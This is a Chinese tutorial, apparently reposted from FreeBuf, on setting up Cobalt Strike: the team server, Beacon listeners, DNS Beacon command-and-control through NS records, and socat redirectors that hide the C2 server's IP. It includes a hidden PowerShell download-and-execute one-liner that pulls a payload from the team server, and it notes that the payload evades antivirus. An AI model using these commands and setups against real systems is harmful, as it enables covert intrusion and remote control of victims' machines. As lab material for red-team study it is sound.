前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CobaltStrike使用:第一篇(基本使用方法、监听器、重定向器)

CobaltStrike使用:第一篇(基本使用方法、监听器、重定向器)

作者头像
FB客服
发布2021-12-15 21:07:32
3.7K0
发布2021-12-15 21:07:32
举报
文章被收录于专栏:FreeBufFreeBuf

Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互

服务器(Team Server)

· 生成攻击载荷(payload)

· 下载攻击代码(会在服务器设置的端口上提供攻击代码下载)

· 监听器(端口监听)

· Team Server 日志记录 保存在logs文件夹

· 支持团队协同操作

· Cobalt Strike团队服务器只能运行在Linux环境下

客户端(Client)

· 跨平台、有Java运行环境就可以运行

· 支持多服务器,可以连接多个服务器

基本使用

客户端与服务器连接

服务器端启动

代码语言:javascript
复制
root@kali:~/桌面/CobaltStrike4.1# ./teamserver 192.168.179.128  ocean
#  ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

客户端连接

· Windows 双击 bat 文件,输入IP、密码、用户名(自定义),点击Connect即可

· Linux 直接运行 start.sh 脚本文件,输入团队服务器的IP、密码和自己的用户名(自定义)进行连接

上线CS基本步骤

代码语言:javascript
复制
# 基本步骤
1. 设置监听器(Linster)
2. 生成攻击载荷(Payload)
3. 目标机器(Victim)运行,上线cs

设置监听器(Linster)

点击耳机图标配置监听

设置相关属性

生成攻击载荷(Payload)

攻击->钓鱼攻击->web脚本传递

设置参数,也可以设置payload类型

在teamserver的80端口生成payload,victim使用powershell加载到内存执行,最终上线

点击开始生成代码

代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.179.128:80/a'))"

目标机器(Victim)运行,上线cs

在 CS->视图->web日志 中可以看到payload的访问日志

payload还具有免杀效果

在可视化中可以切换视图

这是上线cs的基本步骤,下面来看一下刚才使用到的模块的定义

基础设施

任何行动的第一步都是建立基础设施。就 Cobalt Strike 而言,基础设施由一个或多个团队服务器、重定向器以及指向你的团队服务器和重定向器的 DNS 记录组成。一旦团队服务器启动并运行,你将需要连接到它并将其配置为接收来自受害系统的连接。监听器就是 Cobalt Strike 中用来执行这种任务的机制。

监听器

监听器的名字一般由以下结构组成:

代码语言:javascript
复制
Operating System/Payload/Stager

例如:

代码语言:javascript
复制
windows/beacon_http/reverse_http

在CS客户端中打开 Cobalt Strike —》Listeners,之后点击Add,此时弹出New Listener窗口

Cobalt Strike有两种类型的监听器:

· Beacon Beacon直译过来就是灯塔、信标、照亮指引的意思,Beacon是较为隐蔽的后渗透代理,个人理解Beacon类型的监听器应该是平时比较常用的。Beacon监听器的名称例如

代码语言:javascript
复制
windows/beacon_http/reverse_http

· Foreign

Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:

代码语言:javascript
复制
windows/foreign/reverse_https

Beacon

Beacon是什么?

· Beacon是CS的Payload

· Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。

· 通过HTTP、HTTPS和DNS出口网络

· 使用SMB协议的时候是点对点通信

· Beacon有很多的后渗透攻击模块和远程管理工具

Beacon的类型

HTTP 和 HTTPS Beacon

HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据

代码语言:javascript
复制
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https

DNS Beacon

代码语言:javascript
复制
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http

SMB Beacon

SMB Beacon也可以叫做pipe beacon

代码语言:javascript
复制
windows/beacon_smb/bind_pipe

DNS Beacon

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。

DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方

优点:木马隐蔽性好,受害者不开放任何端口,可以规避防火墙,走53端口

缺点:响应速度慢

DNS请求

一个DNS请求大概流程:

浏览器的dns缓存->本地host文件->DNS服务器->根DNS服务器

· 记录类型

标识域名对应何种类型的记录。类型为A,表示域名对应的IP地址。类型为MX时,表示域名对应的是邮件服务器。类型为PTR,表示根据IP地址反查域名。类型为CNAME,表示查询域名相关别名

· NS 记录

NS 代表“域名服务器”,域名服务器记录指示哪个 DNS服务器对该域具有权威性(即,哪个服务器包含实际 DNS 记录)。基本上,NS 记录告诉互联网可从哪里找到域的 IP 地址。一个域通常会有多个 NS 记录,这些记录可指示该域的主要和备用域名服务器。倘若没有正确配置的 NS 记录,用户将无法加载网站或应用程序

原理

原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload(无阶段的Stageless),一种是使用DNS TXT记录来下载Payload(带阶段下载的Stager),不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了

当我们给CS的teamserver搞了一个域名并配置相应的A记录以及指向自身A记录的NS记录后,DNS请求就会被迭代查询的本地DNS服务器一步一步引向teamserver,teamserver收到了服务端的特殊DNS请求后便可以用封装的加密通信协议与之交互了

实验

首先需要配置域名,如果有自己申请的域名可以直接使用,没有的话需要在内网搭建DNS服务器

以域名 ocean.cn 为例,用一台公网的 的 Linux 系统的云服务器作为 C&C 服务器需要在安全组中放行50050端口和53端口

代码语言:javascript
复制
./teamserver ip password

添加一条A记录指向CS服务器的公网IP

添加NS(name server)记录,,主机记录可以是dns,记录值是cs.ocean.cn,NS记录就是将解析任务交由一个指定的"权威"dns服务器(在这里teamserver就是我们的"权威"dns),可以多添加几条

创建监听器,payload选择Beacon DNS(我用版本是4.1只有这一个),DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称

生成payload,注意80端口需要在安全组中打开且未被占用

victim执行之后,web日志中可以看到访问日志,需要等待一段时间才会上线

默认情况下,主机信息是黑色的

需要执行以下命令(或者执行任意操作如:屏幕截图),让目标主机信息显示出来

代码语言:javascript
复制
checkin
mode dns-txt

由于DNS数据包的来源是代理查询的DNS服务器并不是被控机器的真实出口IP,因此这里不会显示external的IP地址

攻击流程

根据之前的记录值,整个流程就是当请求data.dns.ocean.com的时候有cs.ocean.cn负责解析,然后cs.ocean.cn记录本身又有A记录存在对应的IP地址,teamserver中配置了dns listener(cs中listener的dns hosts设置为dns.ocean.cn),之后就可以很teamserver进行通信

避坑

大多数网上的文章,在配置监听器时都是用DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称,即下图这种情况

这样配置的话,上线确实可以,但成功上线的类型是beacon(stageless),CS4中的DNS Beacon才是真正纯粹的DNS隧道,前作中大家常用的方式都是以http的形式传递,没有起到dns真正的作用

正确应该是全部为NS解析记录

具体原因可以看这篇文章:https://xz.aliyun.com/t/7938

推荐阅读:https://paper.seebug.org/1568/

重定器

重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样

代码语言:javascript
复制
目标靶机 <-------->多个并列的重定向器<------>CS服务器

重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:

· 保护自己的CS服务器,避免目标发现自己的真实IP

· 提高整体可靠性,因为可以设置多个重定向器,因此如果有个别重定向器停止工作了,整体上系统依旧是可以正常工作的

通常使用Socat工具作为CS的重定向器

实验

实验使用内网环境

· CS服务器IP:192.168.179.128

· 目标靶机IP:192.168.179.148

· 重定向器IP:192.168.179.147、192.168.179.141

也可以添加一个DNS服务器模拟真实环境,真实渗透中IP全部为公网IP(当然hacker可以为局域网IP),以下为拓扑结构,忽略了网络路由细节

配置重定向器

首先需要配置重定向器的端口转发,比如使用HTTP Beacon,在重定向器服务器上使用以下命令将重定向器的8011端口转发至TeamServer的8011端口

代码语言:javascript
复制
socat TCP4-:LISTEN:8011,fork TCP4:[TeanServer IP:Port]
# 在实验环境中就是
socat TCP4-LISTEN:8011,fork TCP4:192.168.179.128:8011
# 没有socat就用
apt-get install socat

新建监听器

把这两个重定向器都添加到http hosts中

生成攻击payload(上线机器是执行后的效果)

web日志

通过可以看到ExteralIP和web日志可以看出来两个重定向器已经生效

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-15,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本使用
    • 客户端与服务器连接
      • 上线CS基本步骤
      • 基础设施
        • 监听器
          • Beacon
          • DNS Beacon
          • DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。
          • DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务
        • 重定器
          • 实验
      相关产品与服务
      弹性公网 IP
      弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
      http://www.vxiaotou.com